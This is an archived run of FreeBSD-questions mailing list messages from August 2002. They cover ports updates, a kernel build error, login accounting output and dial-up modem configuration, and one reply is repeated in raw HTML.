Subject: Re: FreeBSD from RedHat questions, I'm non on list
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X-Loop: FreeBSD.ORG

On Thu, Aug 01, 2002 at 06:59:48PM +1000, Rob B wrote:

[...]
> >4. Freshness: As I watch to see which distribution produces a PHP 4.2.2 
> >package or port first, I am curious if you have any guidelines as to how 
> >timely port updates (often security fixes) can  be expected. Related: can 
> >a new install be built of fresh packages or ports? Need I install the base 
> >and then download sources and re-compile?
> 
> Ports are different from the base system in that only the comitters can 
> update base.  PHP (in your example) is not part of base, so any security 
> updates are mostly made by the upstream maintainer, rather than the FreeBSD 
> packager.

The general case, however, is that the port-maintainers are pretty
clued up on the ports that they maintain. The port for PHP, as an
example, is at 4.2.2. The caveat here is that you really need to CVSup
your ports tree pretty regularly and run the portupgrade utility.

Cheers.
-- 
Jonathan Chen <jonc@chen.org.nz>
----------------------------------------------------------------------
                                             When all else fails, RTFM

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From owner-freebsd-questions  Thu Aug  1  2:35:27 2002
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From: "John Bolster" <j.bol@gte.net>
To: "Freebsd-Questions@Freebsd. Org" <freebsd-questions@freebsd.org>
Subject: what does this mean
Date: Thu, 1 Aug 2002 05:38:51 -0400
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X-Loop: FreeBSD.ORG

Hi!

Following is the monthly run output email I just received. Does anyone know
what the first and last lines represent (they are not valid accounts on the
server)?

Doing login accounting:
	heta-talk@yahoog 55788.44
	db                   8.76
	guest                6.19
	ftp                  4.20
	john                 3.65
	jeffreyf             3.30
	root                 0.34
	total            -169166.60
	11$85e14540$c454 -224981.48

Thanks,

John Bolster


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From owner-freebsd-questions  Thu Aug  1  2:38: 0 2002
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X-Loop: FreeBSD.ORG

http://www.freebsd.org/publish.html#newsletter

Broken !


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7/31/2002 7:44:25 PM, "Scott Renna" <srenna@verizon.net> wrote:

>I too am having this same problem.  I followed the suggestions of 
switching
>to a different cvsup server and then make buildworld again and then 
tried to
>compile my custom kernel...but to no avail.
>
>Has anyone found a definite solution to this problem?
>
>Scott Renna
>
>
>
>I got latest stable but I Can't be succesfull in compiling the kernel,
>any hints on how I Can find bsd.init.mk ?
>
>cd ../../modules ; env
>MAKEOBJDIRPREFIX=/usr/src/sys/compile/DURLINDANA/modules
>make obj ;  env 
MAKEOBJDIRPREFIX=/usr/src/sys/compile/DURLINDANA/modules
>make depend
>===> accf_data
>"/usr/src/sys/modules/accf_data/../../conf/kmod.mk", line 63: Could not
>find bsd.init.mk
>"/usr/src/sys/modules/accf_data/../../conf/kmod.mk", line 190: Could 
not
>find bsd.links.mk
>make: fatal errors encountered -- cannot continue
>*** Error code 1
>
>Stop in /usr/src/sys/modules.
>*** Error code 1
>
>Stop in /usr/src/sys/compile/DURLINDANA.

I think this may have been resolved in -STABLE, so it may be as simple 
as just cvsup-ing and going through the process again.  Or you can do 
what I did, and just this once make installworld before rebuilding the 
kernel - it'll install the new files that your kernel rebuild is looking for.

Jud



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From owner-freebsd-questions  Thu Aug  1  3:54:57 2002
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From: ozdemir dogan <ozdemirdgn@yahoo.com>
Subject: inca external??
To: freebsd <freebsd-questions@freebsd.org>
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   Hi I have an inca external (with conexant
chipset)modem connected by a serial cable(it is a
serial modem).Can I use it under freebsd? If it is yes
is there a short tutorial to set up the modem?
   Thank you.

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From owner-freebsd-questions  Thu Aug  1  4: 7:28 2002
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From: "Joe & Fhe Barbish" <barbish@a1poweruser.com>
To: "ozdemir dogan" <ozdemirdgn@yahoo.com>
Cc: "FBSDQ" <questions@FreeBSD.ORG>
Subject: RE: inca external??
Date: Thu, 1 Aug 2002 07:07:23 -0400
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Any external modem will work with FBSD.
Edit /etc/ppp/ppp.conf in papchap section adding phone# to your ISP, login
id and PW.
Enter ppp -ddial papchap    on command line to start.

-----Original Message-----
From: owner-freebsd-questions@FreeBSD.ORG
[mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of ozdemir dogan
Sent: Thursday, August 01, 2002 6:55 AM
To: freebsd
Subject: inca external??

   Hi I have an inca external (with conexant
chipset)modem connected by a serial cable(it is a
serial modem).Can I use it under freebsd? If it is yes
is there a short tutorial to set up the modem?
   Thank you.

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From owner-freebsd-questions  Thu Aug  1  4:24: 7 2002
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To: "gkiralyjr" <gkiralyjr@msn.com>
Cc: "FBSDQ" <questions@FreeBSD.ORG>
Subject: RE: FreeBSD 4.4 modem config
Date: Thu, 1 Aug 2002 07:23:32 -0400
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FBSD is not an ISP so there is no phone number for you to call in to.

If you are trying to use your modem to connect to your ISP there is no need
for Kermit.

Do this
Edit /etc/ppp/ppp.conf in papchap section adding phone# to your ISP, login
id and PW.
Enter ppp -ddial papchap    on command line to start.


-----Original Message-----
From: gkiralyjr [mailto:gkiralyjr@msn.com]
Sent: Wednesday, July 31, 2002 11:50 PM
To: barbish@a1poweruser.com
Subject: Re: FreeBSD 4.4 modem config

Hi,

Can you please give me a terminal dial in phone number to freeBSD
(and any config info for Kermit) so I can test my dial out configuration?

Also, the hand book refers to the tip terminal program.
Is it supposed to be part of the installation?
I cannot run it from the command prompt.

Thank you,

Gaspar

----- Original Message -----
From: Joe & Fhe Barbish <mailto:barbish@a1poweruser.com>
To: gkiralyjr <mailto:gkiralyjr@msn.com>
Sent: Sunday, July 28, 2002 12:57 PM
Subject: RE: FreeBSD 4.4 config question

Check /var/run/dmesg.boot file for your sound card and modem card being
found. If found as unknown then you may have to create a custom kernel to
service your sound card.  FBSD does not work with ms/windows modems. Your
modem card has to have onboard controllers to work with FBSD. If your modem
is found it will be listed with it’s name and sio port assigned.

-----Original Message-----
From: owner-freebsd-questions@FreeBSD.ORG
[mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of gkiralyjr
Sent: Sunday, July 28, 2002 12:52 PM
To: questions@freebsd.org
Subject: FreeBSD 4.4 config question

Hello,

I just obtained a copy of the FreeBSD HANDBOOK which also came with the
version 4.4 software. I am having a bit of trouble configuring my sound card
(SoundWave PRO PCI, with the TRIDENT chipset). When I start X (with the KDE
desktop) I am getting the following error message:

Sound Server informational message:
Error while initializing the sound driver:
device /dev/dsp can't be opened (Device not configured)
The sound server will continue using the null output device.

Is there any drivers, config files available for this card?
The card is setup to use IRQ11.

Also, I would like to configure my ISA based USRobotics Sportster modem.
I would need to dial out as a VT100 terminal and also as PPP.

Thank you for any assistance.

Gaspar Kiraly, Jr.
gkiralyjr@email.msn.com <mailto:gkiralyjr@email.msn.com>


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</head>

<body bgcolor=3Dwhite lang=3DEN-US link=3Dblue vlink=3Dblue =
style=3D'tab-interval:.5in'>

<div class=3DSection1>

<p class=3DMsoNormal><span class=3DEmailStyle19><font size=3D2 =
color=3D"#993366"
face=3DArial><span =
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:
Arial'>FBSD is not an ISP so there is no phone number for you to call in =
to.<o:p></o:p></span></font></span></p>

<p class=3DMsoNormal><span class=3DEmailStyle19><font size=3D2 =
color=3D"#993366"
face=3DArial><span =
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:
Arial'><![if =
!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></span></font></span></p>

<p class=3DMsoNormal><span class=3DEmailStyle19><font size=3D2 =
color=3D"#993366"
face=3DArial><span =
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:
Arial'>If you are trying to use your modem to connect to your ISP there =
is no
need for Kermit.<o:p></o:p></span></font></span></p>

<p class=3DMsoNormal><span class=3DEmailStyle19><font size=3D2 =
color=3D"#993366"
face=3DArial><span =
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:
Arial'><![if =
!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></span></font></span></p>

<p class=3DMsoNormal><span class=3DEmailStyle19><font size=3D2 =
color=3D"#993366"
face=3DArial><span =
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:
Arial'>Do this<o:p></o:p></span></font></span></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 color=3D"#993366" face=3D"Courier New"><span =
style=3D'font-size:10.0pt;
font-family:"Courier New";color:#993366'>Edit /etc/ppp/ppp.conf in =
papchap
section adding phone# to your ISP, login id and PW.</span></font><font =
size=3D2
color=3D"#993366" face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:
"Courier =
New";color:#993366;mso-color-alt:windowtext'><o:p></o:p></span></font></p=
>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 color=3D"#993366" face=3D"Courier New"><span =
style=3D'font-size:10.0pt;
font-family:"Courier New";color:#993366'>Enter ppp -ddial papchap<span
style=3D"mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </span>on command line to =
start.</span></font><font
size=3D2 color=3D"#993366" face=3D"Courier New"><span =
style=3D'font-size:10.0pt;
font-family:"Courier =
New";color:#993366;mso-color-alt:windowtext'><o:p></o:p></span></font></p=
>

<p class=3DMsoNormal><span class=3DEmailStyle19><font size=3D2 =
color=3D"#993366"
face=3DArial><span =
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:
Arial'><![if =
!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></span></font></span></p>

<p class=3DMsoNormal><span class=3DEmailStyle19><font size=3D2 =
color=3D"#993366"
face=3DArial><span =
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:
Arial'><![if =
!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></span></font></span></p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D2 =
color=3Dblack
face=3DTahoma><span =
style=3D'font-size:10.0pt;font-family:Tahoma;color:black'>-----Original
Message-----<br>
<b><span style=3D'font-weight:bold'>From:</span></b> gkiralyjr
[mailto:gkiralyjr@msn.com]<br>
<b><span style=3D'font-weight:bold'>Sent:</span></b> Wednesday, July 31, =
2002
11:50 PM<br>
<b><span style=3D'font-weight:bold'>To:</span></b> =
barbish@a1poweruser.com<br>
<b><span style=3D'font-weight:bold'>Subject:</span></b> Re: FreeBSD 4.4 =
modem
config</span></font></p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
face=3D"Times New Roman"><span
style=3D'font-size:12.0pt'><![if =
!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D2 =
color=3Dblack
face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;color:black'>Hi,</span></font=
><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
color=3Dblack
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;color:black'>&nbsp;</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D2 =
color=3Dblack
face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;color:black'>Can you
please give me a terminal dial in phone number to =
freeBSD</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D2 =
color=3Dblack
face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;color:black'>(and
any config info for Kermit) so I can test my dial out =
configuration?</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
color=3Dblack
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;color:black'>&nbsp;</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D2 =
color=3Dblack
face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;color:black'>Also,
the hand book refers to the tip terminal program.</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D2 =
color=3Dblack
face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;color:black'>Is it
supposed to be part of the installation?</span></font><font =
color=3Dblack><span
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D2 =
color=3Dblack
face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;color:black'>I
cannot run it from the command prompt.</span></font><font =
color=3Dblack><span
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
color=3Dblack
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;color:black'>&nbsp;</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D2 =
color=3Dblack
face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;color:black'>Thank
you,</span></font><font color=3Dblack><span =
style=3D'color:black;mso-color-alt:
windowtext'><o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
color=3Dblack
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;color:black'>&nbsp;</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D2 =
color=3Dblack
face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;color:black'>Gaspar</span></f=
ont><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
color=3Dblack
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;color:black'>&nbsp;</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<div style=3D'border:none;border-left:solid black 1.5pt;padding:0in 0in =
0in 4.0pt'>

<p class=3DMsoNormal =
style=3D'mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;
margin-left:39.75pt;border:none;mso-border-left-alt:solid black 1.5pt;
padding:0in;mso-padding-alt:0in 0in 0in 4.0pt'><font size=3D2 =
color=3Dblack
face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;color:black'>-----
Original Message ----- </span></font><font size=3D2 color=3Dblack =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial;color:black;mso-color-alt:win=
dowtext'><o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;
margin-left:39.75pt;background:#E4E4E4;border:none;mso-border-left-alt:so=
lid black 1.5pt;
padding:0in;mso-padding-alt:0in 0in 0in 4.0pt'><b><font size=3D2 =
color=3Dblack
face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;color:black;
font-weight:bold'>

<div style=3D'font-color:black'>From:</span></font></b><font size=3D2 =
color=3Dblack
face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;color:black'> <a
href=3D"mailto:barbish@a1poweruser.com" =
title=3D"barbish@a1poweruser.com">Joe &amp;
Fhe Barbish</a> </span></font></div>

<font size=3D2 color=3Dblack face=3DArial><span =
style=3D'font-size:10.0pt;font-family:
Arial;color:black;mso-color-alt:windowtext'><o:p></o:p></span></font></p>=


<p class=3DMsoNormal =
style=3D'mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;
margin-left:39.75pt;border:none;mso-border-left-alt:solid black 1.5pt;
padding:0in;mso-padding-alt:0in 0in 0in 4.0pt'><b><font size=3D2 =
color=3Dblack
face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;color:black;
font-weight:bold'>To:</span></font></b><font size=3D2 color=3Dblack =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial;color:black'> <a
href=3D"mailto:gkiralyjr@msn.com" =
title=3D"gkiralyjr@msn.com">gkiralyjr</a> </span></font><font
size=3D2 color=3Dblack face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;
color:black;mso-color-alt:windowtext'><o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;
margin-left:39.75pt;border:none;mso-border-left-alt:solid black 1.5pt;
padding:0in;mso-padding-alt:0in 0in 0in 4.0pt'><b><font size=3D2 =
color=3Dblack
face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;color:black;
font-weight:bold'>Sent:</span></font></b><font size=3D2 color=3Dblack =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial;color:black'> Sunday, July =
28, 2002
12:57 PM</span></font><font size=3D2 color=3Dblack face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial;color:black;mso-color-alt:win=
dowtext'><o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;
margin-left:39.75pt;border:none;mso-border-left-alt:solid black 1.5pt;
padding:0in;mso-padding-alt:0in 0in 0in 4.0pt'><b><font size=3D2 =
color=3Dblack
face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;color:black;
font-weight:bold'>Subject:</span></font></b><font size=3D2 color=3Dblack
face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;color:black'> RE:
FreeBSD 4.4 config question</span></font><font size=3D2 color=3Dblack =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial;color:black;mso-color-alt:win=
dowtext'><o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;
margin-left:39.75pt;border:none;mso-border-left-alt:solid black 1.5pt;
padding:0in;mso-padding-alt:0in 0in 0in 4.0pt'><font size=3D3 =
color=3Dblack
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;color:black'><![if =
!supportEmptyParas]>&nbsp;<![endif]></span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal =
style=3D'margin-left:39.75pt;border:none;mso-border-left-alt:
solid black 1.5pt;padding:0in;mso-padding-alt:0in 0in 0in 4.0pt'><span
class=3DEmailStyle18><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'>Check =
/var/run/dmesg.boot
file for your sound card and modem card being found. If found as unknown =
then
you may have to create a custom kernel to service your sound card.<span
style=3D"mso-spacerun: yes">&nbsp; </span>FBSD does not work with =
ms/windows
modems. Your modem card has to have onboard controllers to work with =
FBSD. If
your modem is found it will be listed with it&#8217;s name and sio port =
assigned.<o:p></o:p></span></font></span></p>

<p class=3DMsoNormal =
style=3D'margin-left:39.75pt;border:none;mso-border-left-alt:
solid black 1.5pt;padding:0in;mso-padding-alt:0in 0in 0in 4.0pt'><span
class=3DEmailStyle18><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'>&nbsp;<o:p></o:p></sp=
an></font></span></p>

</div>

<div style=3D'border:none;border-left:solid black 1.5pt;padding:0in 0in =
0in 4.0pt'>

<p class=3DMsoNormal =
style=3D'margin-left:75.75pt;border:none;mso-border-left-alt:
solid black 1.5pt;padding:0in;mso-padding-alt:0in 0in 0in 4.0pt'><font =
size=3D2
color=3Dblack face=3DTahoma><span =
style=3D'font-size:10.0pt;font-family:Tahoma;
color:black'>-----Original Message-----<br>
<b><span style=3D'font-weight:bold'>From:</span></b>
owner-freebsd-questions@FreeBSD.ORG
[mailto:owner-freebsd-questions@FreeBSD.ORG]<b><span =
style=3D'font-weight:bold'>On
Behalf Of </span></b>gkiralyjr<br>
<b><span style=3D'font-weight:bold'>Sent:</span></b> Sunday, July 28, =
2002 12:52
PM<br>
<b><span style=3D'font-weight:bold'>To:</span></b> =
questions@freebsd.org<br>
<b><span style=3D'font-weight:bold'>Subject:</span></b> FreeBSD 4.4 =
config question</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal =
style=3D'margin-left:75.75pt;border:none;mso-border-left-alt:
solid black 1.5pt;padding:0in;mso-padding-alt:0in 0in 0in 4.0pt'><font =
size=3D3
color=3Dblack face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;color:black'>&nbsp;</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal =
style=3D'margin-left:75.75pt;border:none;mso-border-left-alt:
solid black 1.5pt;padding:0in;mso-padding-alt:0in 0in 0in 4.0pt'><font =
size=3D2
color=3Dblack face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;
color:black'>Hello,</span></font><font color=3Dblack><span =
style=3D'color:black;
mso-color-alt:windowtext'><o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'margin-left:75.75pt;border:none;mso-border-left-alt:
solid black 1.5pt;padding:0in;mso-padding-alt:0in 0in 0in 4.0pt'><font =
size=3D3
color=3Dblack face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;color:black'>&nbsp;</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal =
style=3D'margin-left:75.75pt;border:none;mso-border-left-alt:
solid black 1.5pt;padding:0in;mso-padding-alt:0in 0in 0in 4.0pt'><font =
size=3D2
color=3Dblack face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;
color:black'>I just obtained a copy of the FreeBSD HANDBOOK which also =
came
with the version 4.4 software. I am having a bit of trouble configuring =
my
sound card (SoundWave PRO PCI, with the TRIDENT chipset). When I start X =
(with
the KDE desktop) I am getting the following error =
message:</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal =
style=3D'margin-left:75.75pt;border:none;mso-border-left-alt:
solid black 1.5pt;padding:0in;mso-padding-alt:0in 0in 0in 4.0pt'><font =
size=3D3
color=3Dblack face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;color:black'>&nbsp;</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal =
style=3D'margin-left:75.75pt;border:none;mso-border-left-alt:
solid black 1.5pt;padding:0in;mso-padding-alt:0in 0in 0in 4.0pt'><font =
size=3D2
color=3Dblack face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;
color:black'>Sound Server informational message:</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal =
style=3D'margin-left:75.75pt;border:none;mso-border-left-alt:
solid black 1.5pt;padding:0in;mso-padding-alt:0in 0in 0in 4.0pt'><font =
size=3D2
color=3Dblack face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;
color:black'>Error while initializing the sound =
driver:</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal =
style=3D'margin-left:75.75pt;border:none;mso-border-left-alt:
solid black 1.5pt;padding:0in;mso-padding-alt:0in 0in 0in 4.0pt'><font =
size=3D2
color=3Dblack face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;
color:black'>device /dev/dsp can't be opened (Device not =
configured)</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal =
style=3D'margin-left:75.75pt;border:none;mso-border-left-alt:
solid black 1.5pt;padding:0in;mso-padding-alt:0in 0in 0in 4.0pt'><font =
size=3D2
color=3Dblack face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;
color:black'>The sound server will continue using the null output =
device.</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal =
style=3D'margin-left:75.75pt;border:none;mso-border-left-alt:
solid black 1.5pt;padding:0in;mso-padding-alt:0in 0in 0in 4.0pt'><font =
size=3D3
color=3Dblack face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;color:black'>&nbsp;</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal =
style=3D'margin-left:75.75pt;border:none;mso-border-left-alt:
solid black 1.5pt;padding:0in;mso-padding-alt:0in 0in 0in 4.0pt'><font =
size=3D2
color=3Dblack face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;
color:black'>Is there any drivers, config files available for this =
card?</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal =
style=3D'margin-left:75.75pt;border:none;mso-border-left-alt:
solid black 1.5pt;padding:0in;mso-padding-alt:0in 0in 0in 4.0pt'><font =
size=3D2
color=3Dblack face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;
color:black'>The card is setup to use IRQ11.</span></font><font =
color=3Dblack><span
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal =
style=3D'margin-left:75.75pt;border:none;mso-border-left-alt:
solid black 1.5pt;padding:0in;mso-padding-alt:0in 0in 0in 4.0pt'><font =
size=3D3
color=3Dblack face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;color:black'>&nbsp;</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal =
style=3D'margin-left:75.75pt;border:none;mso-border-left-alt:
solid black 1.5pt;padding:0in;mso-padding-alt:0in 0in 0in 4.0pt'><font =
size=3D2
color=3Dblack face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;
color:black'>Also, I would like to configure my ISA based USRobotics =
Sportster
modem.</span></font><font color=3Dblack><span =
style=3D'color:black;mso-color-alt:
windowtext'><o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'margin-left:75.75pt;border:none;mso-border-left-alt:
solid black 1.5pt;padding:0in;mso-padding-alt:0in 0in 0in 4.0pt'><font =
size=3D2
color=3Dblack face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;
color:black'>I would need to dial out as a VT100 terminal and also as =
PPP.</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal =
style=3D'margin-left:75.75pt;border:none;mso-border-left-alt:
solid black 1.5pt;padding:0in;mso-padding-alt:0in 0in 0in 4.0pt'><font =
size=3D3
color=3Dblack face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;color:black'>&nbsp;</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal =
style=3D'margin-left:75.75pt;border:none;mso-border-left-alt:
solid black 1.5pt;padding:0in;mso-padding-alt:0in 0in 0in 4.0pt'><font =
size=3D2
color=3Dblack face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;
color:black'>Thank you for any assistance.</span></font><font =
color=3Dblack><span
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal =
style=3D'margin-left:75.75pt;border:none;mso-border-left-alt:
solid black 1.5pt;padding:0in;mso-padding-alt:0in 0in 0in 4.0pt'><font =
size=3D3
color=3Dblack face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;color:black'>&nbsp;</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal =
style=3D'margin-left:75.75pt;border:none;mso-border-left-alt:
solid black 1.5pt;padding:0in;mso-padding-alt:0in 0in 0in 4.0pt'><font =
size=3D2
color=3Dblack face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;
color:black'>Gaspar Kiraly, Jr.</span></font><font color=3Dblack><span
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal =
style=3D'margin-left:75.75pt;border:none;mso-border-left-alt:
solid black 1.5pt;padding:0in;mso-padding-alt:0in 0in 0in 4.0pt'><font =
size=3D2
color=3Dblack face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;
color:black'><a =
href=3D"mailto:gkiralyjr@email.msn.com">gkiralyjr@email.msn.com</a></span=
></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal =
style=3D'margin-left:75.75pt;border:none;mso-border-left-alt:
solid black 1.5pt;padding:0in;mso-padding-alt:0in 0in 0in 4.0pt'><font =
size=3D3
color=3Dblack face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;color:black'>&nbsp;</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

</div>

</div>

</body>

</html>

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From owner-freebsd-questions  Thu Aug  1  5:24:49 2002
Delivered-To: freebsd-questions@freebsd.org
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Date: Thu, 1 Aug 2002 14:24:20 +0200
From: Hanspeter Roth <hanspeter_roth@hotmail.com>
To: freebsd-questions@FreeBSD.ORG
Subject: Re: ok
